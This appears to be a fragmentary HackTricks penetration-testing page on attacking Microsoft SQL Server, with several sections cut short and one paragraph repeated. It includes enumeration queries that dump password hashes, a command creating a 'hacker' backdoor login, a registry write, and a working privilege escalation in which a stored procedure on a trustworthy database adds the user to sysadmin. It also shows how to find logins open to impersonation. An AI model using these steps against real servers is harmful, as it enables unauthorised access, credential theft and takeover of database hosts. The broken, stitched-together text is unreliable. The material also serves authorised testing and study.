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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
**Microsoft SQL Server** is a **relational database** management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\
* **master Database**: Records all the system-level information for an instance of SQL Server.
* **msdb Database**: Is used by SQL Server Agent for scheduling alerts and jobs.
* **model Database**: Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
* **Resource Databas**: Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
If you **don't****have credentials** you can try to guess them. You can use nmap or metasploit. Be careful, you can **block accounts** if you fail login several times using an existing username.
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### Common Enumeration
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Get Permissions
Some introduction about some MSSQL terms:
1.**Securable:** These are the resources to which the SQL Server Database Engine authorization system controls access. There are three broader categories under which a securable can be differentiated:
* Server – For example databases, logins, endpoints, availability groups and server roles
* Database – For example database role, application roles, schema, certificate, full text catalog, user
* Schema – For example table, view, procedure, function, synonym
2.**Permission:** Every SQL Server securable has associated permissions like ALTER, CONTROL, CREATE that can be granted to a principal. Permissions are managed at the server level using logins and at the database level using users.
3.**Principal:** The entity that receives permission to a securable is called a principal. The most common principals are logins and database users. Access to a securable is controlled by granting or denying permissions or by adding logins and users to roles which have access.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
Note that in order to be able to execute commands it's not only necessary to have **`xp_cmdshell`** **enabled**, but also have the **EXECUTE permission on the `xp_cmdshell` stored procedure**. You can get who (except sysadmins) can use **`xp_cmdshell`** with:
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **to find more information about how to abuse this feature:**
To write files using `MSSQL`, we **need to enable** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), which requires admin privileges, and then execute some stored procedures to create the file:
However, the **`BULK`** option requires the **`ADMINISTER BULK OPERATIONS`** or the **`ADMINISTER DATABASE BULK OPERATIONS`** permission.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
MSSQL could allow you to execute **scripts in Python and/or R**. These code will be executed by a **different user** than the one using **xp\_cmdshell** to execute commands.
Microsoft SQL Server provides **multiple extended stored procedures** that allow you to interact with not only the network but also the file system and even the [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
It's possible to **load a .NET dll within MSSQL with custom functions**. This, however, **requires `dbo` access** so you need a connection with database **as `sa` or an Administrator role**.
There are other methods to get command execution, such as adding [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), and [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
If a **regular user** is given the role **`db_owner`** over the **database owned by an admin** user (such as **`sa`**) and that database is configured as **`trustworthy`**, that user can abuse these privileges to **privesc** because **stored procedures** created in there that can **execute** as the owner (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
SQL Server has a special permission, named **`IMPERSONATE`**, that **allows the executing user to take on the permissions of another user** or login until the context is reset or the session ends. 
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
